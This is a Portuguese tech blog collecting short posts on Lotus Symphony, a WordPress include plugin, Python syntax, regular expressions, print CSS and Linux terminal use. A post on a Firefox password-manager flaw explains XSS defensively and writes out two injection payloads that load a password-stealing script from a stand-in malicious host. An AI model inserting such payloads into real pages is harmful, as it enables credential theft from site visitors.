IBM Lotus Symphony Bloated Office

A IBM lançou seu pacote de escritórios gratuito, o Lotus Symphony. Instalei aqui para testar. Para começar, ele não é “baseado no OpenOffice.org” como muitos sites por aí andam dizendo. Ele lê arquivos do formato ODF, o formato criado pela OpenOffice.org, e talvez tenha algum código ali realmente aproveitado do OpenOffice.org, mas ele é baseado mesmo é no Eclipse. Sim, é isso que você entendeu, o Symphony é construído sobre o Eclipe, em Java[bb], lento, lento, lento… Leva uma eternidade para carregar e demora um bocado a responder a alguns comandos. Fica praticamente impossível de se usar.

A primeira coisa curiosa é que o instalador para Linux[bb] coloca o programinha que desinstala o Symphony num lugar escondido e não avisa o usuário. Então fica a dica para você que usa Linux e, como eu, instalou o Symphony e se arrependeu o instalador está em:

/opt/ibm/lotus/Symphony/_uninst/uninstaller.bin

Outra coisa interessante é que a interface do programa ficou muito boa. O investimento em usabilidade que a IBM tem feito há anos, o que eles chamam de User Centered Design, tem dado resultado. O problema é que o software é tão lento que é insuportável usá-lo mesmo tendo uma excelente interface.

Se você já é usuário de OpenOffice.org, não vejo nenhum bom motivo para tentar o Symphony. Se não é usuário de OpenOffice.org, por favor, não instale o Symphony. Tente o OpenOffice.org.

Para mim o Symphony serviu mesmo para mostrar o poder de um padrão aberto. Tenho em minha máquina agora três pacotes de escritório: KOffice, OpenOffice.org[bb] e IBM Lotus Symphony, e os três trabalham com exatamente o mesmo formato de arquivo. Sem segredos, sem royalties, sem truques. Inclusive a compatibilidade entre eles é muito boa. E qualquer um pode fazer um programa que trabalha com o mesmo formato.

Veja, por exemplo, como é simples fazer um shell script que exporta um documento ODT para texto:

#!/bin/bash
mkdir .tmp_odt2txt
cp $1 .tmp_odt2txt
cd .tmp_odt2txt
unzip $1
cd ..
sed -e "s/<text:p[^>]*>/\n/g" .tmp_odt2txt/content.xml|sed -e "s/<[^>]*>//g" > $1.txt
rm -rf .tmp_odt2txt

Como estamos falando de um padrão aberto, usamos ferramentas simples disponíveis em qualquer Unix e lemos o arquivo. Tente fazer isso com um documento do Microsoft Word e você vai entender o que eu quero dizer.

Use macros em seu editor de código

Quanta gente, ao pensar na idéia de migrar de WYSIWYG para edição de código, se pergunta: “mas não vai ser improdutivo se eu tiver que escrever tudo à mão?”

Nosso amigo Michael dá uma boa ajuda para quem está com essa dúvida em seu vídeo “Macros para Produtividade”.
Claro, isso é só o começo. Mas é um excelente começo. E quanta gente eu vejo por aí que não sabe o básico!

Dirty PHP Include, plugin para WordPress que faz include de arquivos PHP em seus posts

Para atender a um cliente, escrevi agora um pequeno plugin para WordPress[bb]. Você pode fazer download do plugin aqui:
https://elcio.com.br/download/dirtyinclude.zip (497 bytes)

Depois, basta descompactá-lo na pasta wp-content/plugins em seu diretório do WordPress. Tendo feito isso, acesse o administrador do WordPress, clique em “Plugins” (“Extensões” na versão em português) e ative o plugin. Pronto, está funcionando.

Para incluir um arquivo em um post basta, ao editar o post, escrever: [[[include:/caminho/ate/seu/arquivo.php]]] e o arquivo será incluído. O caminho é relativo ao diretório base do WordPress. Funciona tanto com o editor visual quanto com o editor de código. Atenção! Se você tem usuários não confiáveis, por exemplo, se permite que seus usuários se cadastrem e postem, não deve usar esse plugin. É perigoso…

Naturalmente, o plugin acaba de ser escrito e não foi exaustivamente testado. Se você tiver sugestões de melhorias ou achar bugs, por favor, avise.

Meus comentários:

  1. WordPress é fantástico! Essa API para a criação de plugins é fabulosa. É muito fácil escrever um plugin que faz bem seu trabalho sem atrapalhar todo o resto.
  2. Continuo não gostando de PHP, mas dá para trabalhar com isso. Se metade do código mundo a fora tivesse a qualidade do WordPress, já ajudaria muito.
  3. Vou dizer de novo: se você não sabe expressões regulares[bb], precisa aprender!

Falha no Password Manager do Firefox?

Veja como essa notícia no Terra explica mal as coisas e espalha o terror:

A versão mais recente do navegador Firefox, a 2.0.0.5, possui uma falha em seu gerenciador de senhas que pode permitir o acesso a elas por sites maliciosos. O problema só se manifesta se o Javascript[bb] e o gerenciador de senhas estiverem acionados – o que é o padrão. Conforme o site Linux.com, a falha pode ser explorada com truques bastante antigos como o cross-site scripting, pequeno programa em um site que manipula objetos na máquina do usuário ou em outro site.

Quem tomar tempo para ler o anúncio da falha vai entender melhor. A falha não é no Password Manager. É uma falha de script-injection e XSS (cross-site scripting). Vou explicar em detalhes: se você tem um site em que os usuários inserem conteúdo, deve tomar cuidado para que eles não insiram javascript no conteúdo. Por exemplo, se os usuários cadastram uma descrição pessoal em seus perfis, e você simplesmente imprime esta descrição, corre sérios riscos. Alguém pode escrever, em sua descrição, algo como:

<script src="http://meusitemalicioso.com/scriptsqueroubamsenhas.js"></script>

Naturalmente, isso é muito perigoso! Não basta bloquear a tag script, você precisa se certificar de que o usuário não insira javascript na página de forma alguma. Por exemplo:

<img src="imagemqualquer.gif"
onload="document.getElementsByTagName('script')[0].src='http://meusitemalicioso.com/scriptsqueroubamsenhas.js'" />

Ou seja, é sua obrigação se certificar de que seus usuários não podem inserir javascript em nenhuma página de seu site. Isso porque o modelo de segurança do javascript está baseado na origem do script. Scripts numa página podem acessar qualquer coisa dentro daquele domínio. Então, se você permite que seus usuários usem a técnica acima, eles podem fazer com que os usuários que acessarem o perfil/post/comentário malicioso:

  1. Tenham suas contas canceladas. Basta que o script crie um iframe oculto, carregue a URL de cancelamento de conta nele, aguarde alguns segundos e clique no botão “Sim, eu tenho certeza”
  2. Tenham suas senhas modificadas. De novo, no frame oculto. Carregando o formulário de mudança de senha, preenchendo e submetendo. Se não houver validação de referer, isso pode ser feito inclusive sem o iframe, usando o objeto XMLHTTPRequest (via Ajax[bb]).
  3. Enviem mensagens para todos os usuários do site, transfira todas as suas comunidades para um determinado perfil, veja o site em cor de rosa com uma foto do Reginaldo Rossi no logo e o que mais o agressor quiser.

Tudo o que eu descrevi acima funciona em qualquer navegador. Não se trata de uma falha no navegador, mas de uma falha no site. Bom, o que o pessoal da heise descobriu é que um agressor pode criar um formulário de login falso, e se você salvou a senha daquele site o Firefox, o Safari e o Konqueror vão preencher o formulário automaticamente. E esse formulário pode ser lido pelo script do agressor. Ora, o sujeito pode virar o site de ponta cabeça, claro que também pode acessar o formulário de login! E isso só não funciona no IE porque ele não tem um password manager 😉

Ou seja, a falha não é do Firefox, mas do site, que permite acesso irrestrito ao atacante. É um site em que você não deveria confiar, que você não deveria acessar, ou pelo menos não deveria acessar com a mesma senha do seu cartão do banco. O fato de um navegador não ter password manager não vai tornar o site mais seguro. A conclusão a que chega o pessoal da heise:

Da perspectiva dos usuários, significa que eles não deveriam confiar suas senhas ao password manager em sites que permitem aos usuários criar suas próprias páginas contendo scripts.

Grande coisa! Você não deveria confiar, de maneira nenhuma, em sites que permitem aos usuários criar suas próprias páginas contendo scripts. Não é só seu password manager que está em risco, e não importa que navegador você está usando.

CSS de impressão no fechaTag

Acabo de criar um CSS de impressão para este blog. Levei uns dez minutos.

O código ficou assim:

form,#sidebar,iframe,#otop,#respond,.navigation,.rec6,.linkk{
display:none;
}
h2{
margin:0;
}
.entry{
line-height: 150%;
}
#header h1{
margin:0;
padding:0;
font-size:24px;
}
#header .description{
padding:0;
}
h2{
padding:40px 0 0;
margin:0;
}

E o resultado:

Em suma: você esconde tudo o que não pode ser usado ou não faz sentido no papel (menus, formulários, etc.) e tenta não atrapalhar o usuário. Aliás, não dá para fazer muito mais do que isso. Os mecanismos de impressão dos navegadores foram feitos para simplificar as páginas e economizar tinta.

Fácil, não?

Vídeo e slides da minha palestra no ELPI

Coloquei os slides no slideshare, aqui.

E o Andrey Pedro Lefkum filmou a palestra inteira e publicou.

A resenha oficial:

A palestra apresentou ao público os Microformats[bb], uma maneira de incluir novas características e possibilidades no HTML atual, oferecendo significado extra ao conteúdo e facilitando a criação de mash-ups. Comparou também a adoção inicial de Microformats com o padrão de adoção de novas tecnologias abertas, em especial o RSS. Por fim, demonstrou com exemplos práticos a simplicidade para se implementar Microformats e sua grande utilidade e flexibilidade.

Bom proveito!

Microsoft, Google e o poder da massa crítica

Está todo mundo por aí falando sobre:

  • Microsoft Surface, um computador-mesa realmente impressionante. Entre no site e veja alguns dos videozinhos que você vai entender.
  • Google Gears, uma extensão para Firefox/Internet Explorer que permite ao desenvolvedor web guardar dados locais, na máquina do usuário.
  • O Orkut agora permite que você cadastre feeds em seu perfil.

Quando olhei cada um desses lançamentos, tive a mesma reação: “Ah, grande coisa!”

Nenhuma dessas idéias é nova ou revolucionária. Começando pelo Surface, é uma coleção de idéias velhas. Já vimos parte delas implementada no iPhone e na maneira como o sujeito pode usar os dedos nele. A idéia de colocar um computador numa mesa ou permitir seu uso por mais de uma pessoa também não é nova. E a maquininha da Microsoft está saindo por 10 mil. Dólares.

O Google Gears merece um pouquinho de explicação antes de dizer que a idéia não é nova. O Gears tem três componentes importantes. O primeiro é um tipo de servidor proxy com cache local. É um pouquinho mais do que isso, mas no fim permite a uma aplicação web responder dados ao usuário uma única vez, e ele terá esses dados em sua própria máquina a partir daí. O segundo é um banco de dados local, que permite a uma aplicação web, por exemplo, funcionar offline. O terceiro é um mecanismo para fazer com que seus scripts possam ser executados em segundo plano, sem congelar o navegador. De verdade? Isso não é nem tão novo, nem tão revolucionário assim. Para o sujeito que está desenvolvendo um Gmail, pode fazer diferença. Mas para pequenas aplicações, ou mesmo as medianas, dessas que a gente desenvolve todo dia, tudo poderia ser resolvido com cookies e um pouquinho de inteligência, sem demandar a instalação de um plugin.

Por fim, os feeds no Orkut. Aqui a experiência de quem esperava algo realmente novo pode ser decepcionante. Leia os comentários do Charles Pilger sobre o assunto, por exemplo.

Apesar disso, há algo que pode realmente fazer diferença nesse tipo de produto: massa crítica, quantidade de usuários, visibilidade. O Surface pode mostrar ao mundo a idéia nova. Talvez eu nunca venha a ter um Microsoft Surface, mas quem sabe eu daqui a algum tempo comecem a vender o XingLing Surface, o Itautec Surface ou o Positivo Surface? Tenho perguntado ao auditório, nos Encontros Locaweb, quem usa leitores de feeds e quem fornece RSS de qualquer maneira. Num público de desenvolvedores, o número de pessoas que levantam suas mãos é assombrosamente baixo. Imagino que entre os seres humanos comuns este números deve ser ainda menor. Feeds no Orkut podem ser um excelente recurso educativo. Isso pode fazer muita gente descobrir o RSS.

Em relação ao Gears, assim como em relação ao Silverlight, que não está na lista acima porque já tem um tempo, acontece algo curioso. Quem teria coragem de apostar hoje numa tecnologia que exige a instalação de um plugin para que seu site seja usado? Se fosse qualquer empresa pequena que estivesse lançando um desses produtos, ele logo seria descartado como algo ridículo. Mas todo mundo tem suas em relação ao poder de empresas como a Microsoft ou o Google de fazer com que as pessoas instalem algo em suas máquinas.

Em suma, quando você tem metade da Internet usando seus produtos, as regras podem ser diferentes para você. E quando você lança um Google Notebook ou um Zune, as pessoas parecem se esquecer muito rápido que você fracassou.

Em relação ao fato de não haver nenhuma novidade nesses produtos, vale lembrar o que diz o Getting Real: uma boa idéia não vale quase nada, o que vale mesmo é uma boa execução. Embora o Surface não seja novo, parece pelos vídeos que foi executado de maneira exímia.

E, claro, a história dos computadores mostra que nem sempre os melhores vencem. Nada de certezas, por enquanto.

Links interessantes:

Python X Java X Smalltalk

Achei muito interessante este artigo comparando a sintaxe de Smalltalk com Java. Implementei os mesmos exemplos em Python, para que você possa comparar a sintaxe:

Problema: cálculo de fatorial

def factorialRecursive(n):
  if n<0:return 0
  if n==0:return 1
  return n*factorialRecursive(n-1)

Ou assim:

def factorialNonRecursive(n):
  if n<0:return 0
  return reduce(lambda a,b:a*b,[1]+range(1,n+1))

A recursividade pode parecer uma solução elegante, mas o consumo de memória é assombroso nesse caso, em qualquer linguagem. Calcular a fatorial de um número grande qualquer pode ser um problema com a recursividade. Por isso, prefira a versão não recursiva.

No novo Python 2.5 você pode fazer:

def fact(x): return (
  0 if x<0 else
  reduce(lambda a,b:a*b,[1]+range(1,x+1))
)

Aqui é difícil dizer qual é mais prática, Smalltalk ou Python. Você pode palpitar sobre qual é mais elegante, uma vez que as soluções são radicalmente diferentes, mas a escolha final é subjetiva.

Problema: imprimir os números de 1 a 10

Eu faria usando os recursos de programação funcional:

print "\n".join(map(str,range(1,11)))

Mas você pode preferir:

for i in range(1,11):
  print i

De qualquer maneira, ponto para o Python[bb] aqui.

Problema: trabalhando com Collections

l=[
  'Em Python,',
  'chamamos as',
  'collections',
  'de "listas"',
]
print "\n".join(l)

Aqui, indiscutivelmente, ponto para o Python.

Problema: mostrar os pares e ímpares entre 1 e 10

for i in range(1,11):
  print i,["is even","is odd"][i % 2]

Novamente, o Python ganha disparado.

Problema: invocar um método via Reflection

É bem fácil:

o=MyClass()
getattr(o,"showMessage")()

Aqui o páreo é duro, Python e Smalltalk correm cabeça-a-cabeça. Na minha opinição, Python ganha por um focinho.


PythonPara saber mais sobre Python recomendo o PythonBrasil.

Além disso, sou professor do Curso de Python da Visie.

xSpec, o emulador de Sinclair ZX Spectrum

Para os que gostam da história da informática: o primeiro computador em que eu programei na vida foi um Sinclair ZX Spectrum, que aqui no Brasil se chamava TK-90X. Pois não é que o saudoso micrinho fez 25 anos mês passado?

Baixei nos repositórios do Ubuntu o xspec, um emulador de Spectrum, para ver se eu ainda sabia alguma coisa de BASIC, e fiz um videozinho para que os mais novos nesse negócio possam ver um pouquinho de como foi o início da programação em microcomputadores:

Ah, que saudades!

Imite o Mac OS X você também

Dashboard, Exposè, estilo Aqua, tudo já foi copiado no elegante Mac OS X. Mas a marca registrada do sistema ainda é o Dock. Há uma porção de cópias interessantes para o Dock em diversos ambientes. Mas, com javascript e CSS, eu nunca tinha visto uma razoável. Até que vi essa aqui. Veja esse Dock rodando nesse exemplo.

Muito bom. Tanto o código quanto o resultado visual.

Ah, se você tiver um tempinho para estudar o código, vai passar a odiar um pouquinho mais o Internet Explorer 😉

Aprenda expressões regulares!

Exemplos de expressões regulares PHP. Expressões prontas para uma porção de coisas.

Seguem também uns exemplos brasileiros bem comuns:

CPF='\b([0-9]{3}\.?){3}-[0-9]{2}\b'
CNPJ='\b[0-9]{2,3}\.?([0-9]{3}\.?){2}\/[0-9]{4}-[0-9]{2}\b'
CEP='\b[0-9]{2}\.?[0-9]{3}-[0-9]{3}\b'

Expessões regulares permitem fazer com uma linha de código coisas que, de outra forma, levariam um bocado de código e tempo. Veja, por exemplo, este trecho de Javascript:

// Exibe o texto da página, removendo todas as tags
t=document.body.innerHTML
t=t.replace(/<.*?>/g,"")
t=t.replace(/[ \t]+/g," ")
t=t.replace(/(\n ?)+/g,"\n")

Pode dar um pouco de trabalho aprender expressões regulares[bb], mas eu garanto que o tempo que você investir nisso se paga muito rápido.

A experiência de uso Linux

Sobre as grandes diferenças: Coisas que posso fazer em Linux e em windows não

Sobre as semelhanças (e as pequenas diferenças): Linux[bb] x Windows

Se você trabalha com internet, essa série deve interessá-lo:

Por falar nisso, no terceiro artigo dessa série o perguntou nos comentários:

Como você, vim do Windows/DreamWeaver para Linux/?(ainda). Gostei do
que vi no QuantaPlus, realmente é excelente, porém um das vantagens que
eu via ao usar o DreamWeaver com seu FTP era
o de ter sempre a certeza de pegar a última versão do programa e não
precisar me preocupar em enviar o arquivo certo e se está na última
versão. Eu abria o arquivo direto do ftp, ele baixava o último
(inclusive as dependências) abria na minha tela, eu editava (um ou mais
de um) salvava e o DreamWeaver já efetuava o Upload. Eu gostaria de
saber como é o seu procedimento agora. De repente eu também mudo e vejo
as vantagens. Sempre devemos estar aberto a aprender, né?

Tentei responder por lá, mas o sistema matemático parece funcionar com uma matemática diferente da minha. Então minha resposta vai aqui:

araujo,O Kate faz isso que você está querendo. Ele tem uma barra lateral de navegação em arquivos. Você pode adicionar um favorito ali no formato:

ftp://usuario:senha@servidor.com.br/pasta

Também suporta uma série de outros protocolos, como o sftp. Adicionando o favorito, é só clicar nele que o Kate lista os aruqivos e pastas. Clicando num arquivo o Kate abre diretamente do FTP, e se você salvar, salva direto lá também.

A dobradinha nautilus/gedit também torna isso transparente para você. Se você se conecta a um servidor de FTP pelo nautilus, pode clicar com o botão direito em qualquer arquivo e escolher “Abrir com Editor de Textos”. O nautilus também coloca o servidor de FTP como um dos caminhos possíveis nas caixas de abrir e salvar do gedit.

A quebra da proteção anti-cópia do HD-DVD, o Digg, e o futuro do DRM e das indústrias de música e cinema.

Saudações amigos piratas!

O Digg perdeu o controle de seu próprio site por causa da singela seqüência de números[bb] acima. Uma história interessante que vale a pena acompanhar. Sua primeira tendência pode ser a de criticar o Digg pela censura. Mas, pense bem, se fosse o seu pequeno negócio de milhões de dólares que estivesse ameaçado de processo judicial, será que você seria realmente tão corajoso assim?
Continuar lendo A quebra da proteção anti-cópia do HD-DVD, o Digg, e o futuro do DRM e das indústrias de música e cinema.

Resultado do concurso dos 4KB

Depois de muito confabular, chegamos a uma conclusão a respeito do Desafio dos 4KB.

O vencedor é o Michael Humberto Castillo, com seu joguinho. Demoramos a decidir porque o joguinho tem uns bugs, mas foi o mais impressionante que foi enviado. Como o critério, segundo o anúncio da promoção, era a quantidade de barulho produzida pela reação emocionada do pessoal aqui, não conseguimos deixar de premiar o Humberto, apesar dos pequenos bugs. Parabéns Humberto! Aguarde nosso contato.

Parabéns também a todos os outros participantes! Foi muito divertido.

Desafio dos 4KB

Momento Jabá: Quanta coisa você consegue fazer com apenas 4KB?

Crie uma página que faça algo impressionante com apenas 4KB de código. Pode usar HTML válido ou inválido, XML, Javascript, CSS e o que mais você quiser, desde que esteja tudo em uma única página. Nada de Flash, imagens externas, scripts externos ou Ajax. O resultado pode ser o que você quiser, desde que seja impressionante. Pode também funcionar apenas no Firefox, se você preferir. Afinal, você vai programar só por diversão.

Inclua a frase “Visie, ensinando os melhores”, publique em algum lugar e envie o link para a gente. Vamos mostrar para o pessoal da Visie e ouvir o “Uau!” da galera. A página que conseguir o maior número de decibéis na reação dos espectadores, a mais impressionante, a mais surpreendente, vai ganhar um curso online de Javascript Crossbrowser da Visie, para você ou para doar para alguém.

Para que todos possamos ver os trabalhos, deixe um comentário aqui com o link para o seu. Você tem até sexta-feira, às 11h da manhã para enviar seus impressionantes 4KB de código. Vamos começar a avaliação na sexta-feira ao meio-dia, e a hora em que vai sair o resultado depende da quantidade de participantes.

Vamos mostrar para esse pessoal boboca por aí que programar[bb] é muito mais divertido que ficar escrevendo frasezinhas de efeito.

Divirtam-se!

Quem tem medo do terminal?

Estava ajudando um amigo a instalar o Ubuntu[bb] em sua máquina, tentando evitar, a todo custo, me conectar por ssh. E tentando evitar também o uso de terminal, pois meu amigo estava migrando de Windows e parecia ter um certo receio da tela preta. Tivemos alguns problemas com o Automatix, e entrei no canal #ubuntu-br da Freenode para perguntar. Fiquei impressionadíssimo com a solicitude das pessoas que estavam online. Uso bastante irc, e é comum estar em canais sobre Python[bb], SQLObject, Javascript e etc. E sei que geralmente quem se dá ao trabalho de estar ali é porque realmente gosta de ajudar. Mas o pessoal da #ubuntu-br foi especialmente paciente e atencioso.

Depois que desconectei, recebi até um e-mail do Vinícius Depizzol sanando as dúvidas que haviam ficado pendentes. Obrigado Vinícius, obrigado ao pessoal do #ubuntu-br.

Uma das coisas que o Vinícius me mostrou é que eu não preciso de Automatix. Quase tudo o que se faz por ele pode ser feito pelo Ubuntu, na interface gráfica, sem nenhum programa especial. Boa parte no menu “Aplicações” -> “Adicionar/Remover”. E o que não dá para resolver lá geralmente é muito fácil de fazer no terminal.

Isso me fez pensar. Nós, programadores, sabemos que o terminal (shell, console ou como você preferir chamá-lo) é a ferramenta mais poderosa dos sistemas Unix. Não há outra maneira de se obter a rapidez e flexibilidade que se tem num terminal.

Estes dias vi um amigo fazendo algo curioso. Ele precisa copiar uma pasta no servidor, chamada “site”, para “sitenovo”, para começar a trabalhar no novo site. Ele se conectou por FTP, copiou a pasta inteira para a sua máquina (eram alguns megabytes) renomeou e enviou de novo para o servidor. Mais de meia hora de trabalho. Ele poderia ter se conectado via SSH e feito:

cp -r site sitenovo

E em menos de um minuto a cópia estaria feita.

Claro, isso não é novidade nenhuma para o usuário de Linux que já lida com o terminal há algum tempo. Um administrador de sistemas Linux é uma pessoa muito mais feliz graças ao terminal. Mas como fazer com que o usuário de interface gráfica, que não tem gosto pela linha de comando, não perca o tempo que meu amigo perdeu? Como fazer com que o webdesigner que publica arquivos num servidor remoto aprenda pelo menos o básico? Que ele saiba copiar, mover, apagar e editar arquivos e diretórios, navegar por diretórios, sincronizar diretórios, comparar arquivos, criar pequenos scripts para automatizar tarefas e editar o seu crontab?